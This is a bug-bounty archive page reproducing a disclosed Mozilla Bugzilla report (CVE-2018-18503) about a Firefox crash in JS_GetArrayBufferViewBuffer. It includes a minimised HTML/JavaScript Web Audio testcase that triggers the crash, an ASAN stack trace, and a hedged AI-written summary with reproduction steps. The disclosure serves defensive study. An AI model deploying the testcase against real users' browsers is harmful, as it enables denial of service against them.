Skip to content
Memory corruption Disclosed report Advanced CVE-2018-18503

checkImpl fail in JS_GetArrayBufferViewBuffer

A crafted web page using the Web Audio API caused a crash in Firefox due to a failed assertion in JS_GetArrayBufferViewBuffer. An attacker could potentially exploit this to cause a denial of service or possibly execute arbitrary code.

Nils Follow

Originally disclosed on Mozilla

  • Fixed in 28 days
  • Paid in 3 months
  • Disclosed after 28 days

Created attachment 9027109 crash.html (minimised testcase)

The following testcase crashes the latest ASAN build of Firefox 65.0a1 (SourceStamp=8b245cc1086f912f84b54a6af13f015404af8e14).

crash.html:

<script> function start() { o5=new AudioContext(); o291=new Float32Array(0); o388=document.write(""); o389=o5.createBuffer(2,22050,44100); o420=new AudioBufferSourceNode(o5, {buffer:o389,detune:27}); o389.copyToChannel(o291,1,0); o420.buffer=o389; } </script> <body onload="start()"></body>

ASAN output: AddressSanitizer:DEADLYSIGNAL

==11985==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000001 (pc 0x562eb6d524e1 bp 0x7fff4e01db30 sp 0x7fff4e01db30 T0) ==11985==The signal is caused by a WRITE memory access. ==11985==Hint: address points to the zero page. #0 0x562eb6d524e0 in MOZ_CrashOOL(char const*, int, char const*) /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/Assertions.h:311:3 #1 0x562eb6d523ed in MOZ_CrashPrintf /builds/worker/workspace/build/src/mfbt/Assertions.cpp:52:3 JavaScript error: resource://gre/modules/addons/XPIProvider.jsm, line 2581: TypeError: addon is null; can't access its "seen" property #2 0x7f5ee68bad22 in fail /builds/worker/workspace/build/src/js/src/vm/JSContext-inl.h:55:9 #3 0x7f5ee68bad22 in check /builds/worker/workspace/build/src/js/src/vm/JSContext-inl.h:71 #4 0x7f5ee68bad22 in check /builds/worker/workspace/build/src/js/src/vm/JSContext-inl.h:85 #5 0x7f5ee68bad22 in checkImpl<JS::Handle<JSObject >> /builds/worker/workspace/build/src/js/src/vm/JSContext-inl.h:208 #6 0x7f5ee68bad22 in check<JS::Handle<JSObject > > /builds/worker/workspace/build/src/js/src/vm/JSContext-inl.h:217 #7 0x7f5ee68bad22 in JS_GetArrayBufferViewBuffer(JSContext, JS::Handle<JSObject>, bool*) /builds/worker/workspace/build/src/js/src/vm/ArrayBufferViewObject.cpp:222 #8 0x7f5ee0747408 in mozilla::dom::AudioBuffer::StealJSArrayDataIntoSharedChannels(JSContext*) /builds/worker/workspace/build/src/dom/media/webaudio/AudioBuffer.cpp:406:21 #9 0x7f5ee074e5a2 in GetThreadSharedChannelsForRate /builds/worker/workspace/build/src/dom/media/webaudio/AudioBuffer.cpp:435:9 #10 0x7f5ee074e5a2 in mozilla::dom::AudioBufferSourceNode::SendBufferParameterToStream(JSContext*) /builds/worker/workspace/build/src/dom/media/webaudio/AudioBufferSourceNode.cpp:722 #11 0x7f5edc129f94 in SetBuffer /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/AudioBufferSourceNode.h:52:5 #12 0x7f5edc129f94 in mozilla::dom::AudioBufferSourceNode_Binding::set_buffer(JSContext*, JS::Handle<JSObject*>, mozilla::dom::AudioBufferSourceNode*, JSJitSetterCallArgs) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/AudioBufferSourceNodeBinding.cpp:368 #13 0x7f5edee54450 in bool mozilla::dom::binding_detail::GenericSettermozilla::dom::binding_detail::NormalThisPolicy(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3320:8 #14 0x7f5ee825b77d in CallJSNative /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:468:15 #15 0x7f5ee825b77d in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:560 #16 0x7f5ee8260805 in InternalCall /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:614:12 #17 0x7f5ee8260805 in Call /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:634 #18 0x7f5ee8260805 in js::CallSetter(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, JS::HandleJS::Value) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:776 #19 0x7f5ee6c6aa9d in SetExistingProperty(JSContext*, JS::HandleJS::PropertyKey, JS::HandleJS::Value, JS::HandleJS::Value, JS::Handlejs::NativeObject*, JS::HandleJS::PropertyResult, JS::ObjectOpResult&) /builds/worker/workspace/build/src/js/src/vm/NativeObject.cpp:3017:10 #20 0x7f5ee6c62085 in bool js::NativeSetProperty<(js::QualifiedBool)1>(JSContext*, JS::Handlejs::NativeObject*, JS::HandleJS::PropertyKey, JS::HandleJS::Value, JS::HandleJS::Value, JS::ObjectOpResult&) /builds/worker/workspace/build/src/js/src/vm/NativeObject.cpp:3047:20 #21 0x7f5ee823ab16 in SetProperty /builds/worker/workspace/build/src/js/src/vm/ObjectOperations-inl.h:298:12 #22 0x7f5ee823ab16 in SetPropertyOperation /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:277 #23 0x7f5ee823ab16 in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3271 #24 0x7f5ee8228976 in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:447:12 #25 0x7f5ee825c121 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:587:15 #26 0x7f5ee825dda2 in js::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, js::AnyInvokeArgs const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:634:10 #27 0x7f5ee721b3b6 in JS::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, JS::HandleValueArray const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2988:12 #28 0x7f5ede463bf9 in mozilla::dom::EventHandlerNonNull::Call(JSContext*, JS::HandleJS::Value, mozilla::dom::Event&, JS::MutableHandleJS::Value, mozilla::ErrorResult&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/EventHandlerBinding.cpp:265:37 #29 0x7f5edf6f0859 in void mozilla::dom::EventHandlerNonNull::Call<nsISupports*>(nsISupports* const&, mozilla::dom::Event&, JS::MutableHandleJS::Value, mozilla::ErrorResult&, char const*, mozilla::dom::CallbackObject::ExceptionHandling, JS::Realm*) /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/EventHandlerBinding.h:363:12 #30 0x7f5edf6edae9 in mozilla::JSEventHandler::HandleEvent(mozilla::dom::Event*) /builds/worker/workspace/build/src/dom/events/JSEventHandler.cpp:214:12 #31 0x7f5edf6a1c2a in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, mozilla::dom::Event*, mozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1115:52 #32 0x7f5edf6a4227 in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event**, mozilla::dom::EventTarget*, nsEventStatus*, bool) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1317:15 #33 0x7f5edf6859d6 in HandleEvent /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/EventListenerManager.h:390:5 #34 0x7f5edf6859d6 in mozilla::EventTargetChainItem::HandleEvent(mozilla::EventChainPostVisitor&, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:425 #35 0x7f5edf683c58 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArraymozilla::EventTargetChainItem&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:642:16 #36 0x7f5edf68a6b0 in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArraymozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:1164:11 #37 0x7f5ee23ee9ee in nsDocumentViewer::LoadComplete(nsresult) /builds/worker/workspace/build/src/layout/base/nsDocumentViewer.cpp:1165:7 #38 0x7f5ee564f033 in nsDocShell::EndPageLoad(nsIWebProgress, nsIChannel*, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7052:21 #39 0x7f5ee564a859 in nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:6843:7 #40 0x7f5ee5653657 in non-virtual thunk to nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp #41 0x7f5eda363a05 in nsDocLoader::DoFireOnStateChange(nsIWebProgress*, nsIRequest*, int&, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:1310:3 #42 0x7f5eda3625ec in nsDocLoader::doStopDocumentLoad(nsIRequest*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:853:14 #43 0x7f5eda35df38 in nsDocLoader::DocLoaderIsEmpty(bool) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:742:9 #44 0x7f5eda36088e in nsDocLoader::OnStopRequest(nsIRequest*, nsISupports*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:631:5 #45 0x7f5eda362114 in non-virtual thunk to nsDocLoader::OnStopRequest(nsIRequest*, nsISupports*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp #46 0x7f5ed7ca19f7 in mozilla::net::nsLoadGroup::RemoveRequest(nsIRequest*, nsISupports*, nsresult) /builds/worker/workspace/build/src/netwerk/base/nsLoadGroup.cpp:628:28 #47 0x7f5edbd360c7 in DoUnblockOnload /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:8505:18 #48 0x7f5edbd360c7 in nsDocument::UnblockOnload(bool) /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:8427 #49 0x7f5edbd10099 in nsIDocument::DispatchContentLoadedEvents() /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:5306:3 #50 0x7f5edbe7000b in applyImpl<nsIDocument, void (nsIDocument::)()> /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:1191:12 #51 0x7f5edbe7000b in apply<nsIDocument, void (nsIDocument::)()> /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:1197 #52 0x7f5edbe7000b in mozilla::detail::RunnableMethodImpl<nsIDocument*, void (nsIDocument::)(), true, (mozilla::RunnableKind)0>::Run() /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:1242 #53 0x7f5ed79dc7e5 in mozilla::SchedulerGroup::Runnable::Run() /builds/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:337:32 #54 0x7f5ed7a19c18 in nsThread::ProcessNextEvent(bool, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1244:14 #55 0x7f5ed7a229cd in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:530:10 #56 0x7f5ed8c9bb3f in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:97:21 #57 0x7f5ed8b96d5e in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:325:10 #58 0x7f5ed8b96d5e in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:318 #59 0x7f5ed8b96d5e in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:298 #60 0x7f5ee1b5a6d3 in nsBaseAppShell::Run() /builds/worker/workspace/build/src/widget/nsBaseAppShell.cpp:158:27 #61 0x7f5ee644f56e in XRE_RunAppShell() /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:961:22 #62 0x7f5ed8b96d5e in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:325:10 #63 0x7f5ed8b96d5e in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:318 #64 0x7f5ed8b96d5e in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:298 #65 0x7f5ee644e5c1 in XRE_InitChildProcess(int, char**, XREChildData const*) /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:787:34 #66 0x562eb6cdf864 in content_process_main /builds/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:50:30 #67 0x562eb6cdf864 in main /builds/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:287 #68 0x7f5efb04fb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #69 0x562eb6c04eec in _start (/home/nils/fuzzer3/firefox/firefox+0x2deec)

AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/Assertions.h:311:3 in MOZ_CrashOOL(char const*, int, char const*) ==11985==ABORTING

The original report as published on Mozilla's Bugzilla, by Nils. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely a missing check on the type of object passed to JS_GetArrayBufferViewBuffer, leading to an assertion failure when the object is not an ArrayBuffer view.

Impact

Could cause a denial of service (browser crash) and potentially allow arbitrary code execution.

What the attacker needed

Victim visits a malicious page

How it was found

  1. Create an AudioContext.
  2. Create a zero-length Float32Array.
  3. Create an AudioBuffer with two channels.
  4. Create an AudioBufferSourceNode with the buffer and set detune.
  5. Call copyToChannel on the buffer with the Float32Array.
  6. Assign the buffer to the source node's buffer property.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This report describes a bug in Firefox that makes the browser crash when it handles certain audio operations. A crash like this can be used by attackers to disrupt a user's browsing or, in some cases, to run malicious code.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by Nils

View all

133 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.